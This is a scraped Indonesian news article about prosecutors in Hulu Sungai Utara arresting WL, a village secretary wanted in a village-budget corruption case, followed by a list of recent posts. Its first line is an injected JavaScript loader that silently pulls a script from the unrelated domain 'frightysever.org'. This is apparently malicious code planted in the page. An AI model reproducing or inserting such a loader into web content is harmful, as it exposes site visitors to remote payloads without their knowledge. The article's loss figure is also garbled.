(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kejari HSU Tangkap WL, Buron Kejari Tala terkait Kasus Korupsi APBDes Desa Batu Ampar!


KANALKALIMANTAN.COM, AMUNTAI– Kejaksaan Negeri (Kejari) Hulu Sungai Utara (HSU) berhasil menangkap perempuan berinisial WL (27), yang diduga terlibat dalam perkara korupsi dana desa yang masih ditangani oleh Kejari Kabupaten Tanah Laut.

“Dalam Operasi tangkap buron ini, tersangka ini diduga mangkir dari beberapa kali panggilan, sehingga Kejaksaan Negeri Tanah Laut menggunakan upaya paksa untuk pencarian orang,” terang Kepala Kajari HSU melalui Kasi Intel Rudi Firmansyah, saat menggelar jumpa pers di halaman Kantor Kejari HSU, Selasa (6/7/2021) siang.

Rudi mengatakan, usai mendapat informasi dari masyarakat, pihaknya berhasil menangkap tersangka WL di sebuah rumah kontrakan di Desa Penampilan Hulu, Kecamatan Amuntai Tengah, pukul 10.00 Wita.

Baca juga: Hari Pertama Kebijakan Dokumen Vaksin, Begini Kondisi di Bandara Syamsudin Noor

 

“Tadi sekitar pukul 10.00 Wita tersangka masuk ke wilayah hukum kami, lanjut kami lakukan tracking melalui handphone, ternyata berada di Desa Palampitan di sebuah kos-kosan. Sampai di situ kita jemput tersangka sangat kooperatif, dan selanjutnya kami akan antar ke Kejaksaan Negeri Tala guna proses penegakkan tidak pidana korupsi,” terangnya.


Menurut Rudi, tersangka sendiri berada di Amuntai adalah untuk menghindari panggilan Kejaksaan Tala.
Selain itu, lanjut Rudi tersangka juga diduga berada di Amuntai hanya transit sementara dan akan berlanjut ke tempat lain lagi guna mencari tempat yang lebih aman.

“Ya niat awal, tersangka mangkir dari panggilan untuk perkara korupsi, kemudian beberapa kali dipanggil secara patut berturut-turut, namun tidak hadir,” katanya.

Sebelumnya, tersangka WL yang diketahui menjabat sebagai Sekretaris Desa ini, diduga terlibat dalam kasus korupsi APBDES tahun 2017 di Desa Batu Ampar, Kecamatan Ambawang, Kabupaten Tanah Laut. Kasus ini sebelumnya juga menyeret mantan kepala Desanya berinisial S serta VA selaku kontraktor CV Sumber Sejati dengan proyek jalan usaha tani hingga menelan kerugian mencapai setelah milliar rupiah. (kanalkalimantan.com/dew)

Reporter: dew
Editor: cell


Risa

Recent Posts

Ada Pekerjaan PAM Bandarmasih, Besok Distribusi Air Disetop

KANAKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penyetopan distribusi air bersih selama… Read More

4 jam ago

Layaknya Pilkada, Pemilihan Ketua RT dan RW Serentak se Banjarbaru Digelar

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru Provinsi Kalimantan Selatan (Kalsel) tengah menggelar pemilihan ketua RT/RW serentak… Read More

5 jam ago

BPIH 2025 Resmi Turun Rp 4 Juta, Ini Komponen Utama Biaya Haji

KANALKALIMANTAN.COM, JAKARTA - Komisi VIII DPR RI bersama Kementerian Agama (Kemenag) resmi menetapkan Biaya Penyelenggaraan… Read More

7 jam ago

Tim Banjarbaru Hanyar Siap Hadapi Sidang Pertama Gugatan di MK

KANALKALIMANTAN.COM, JAKARTA – Tim Banjarbaru Hanyar (Haram Manyarah) untuk gugatan Pilkada Kota Banjarbaru akan menghadapi… Read More

7 jam ago

Konsumsi Listrik EV di SPKLU Cetak Rekor, Dirut PLN: Meningkat 500% Sepanjang Nataru

KANALKALIMANTAN.COM, JAKARTA - PT PLN (Persero) terus mencatat rekor lonjakan konsumsi energi kendaraan listrik atau… Read More

8 jam ago

Antar Kepulangan Jemaah Sekumpul, Posko Terpadu di Bandara Syamsudin Noor Ditutup

KANALKALIMANTAN.COM, BANJARBARU - Pasca kegiatan rutinan Malam Senin Momen 5 Rajab, arus kepulangan Jemaah Sekumpul… Read More

22 jam ago

This website uses cookies.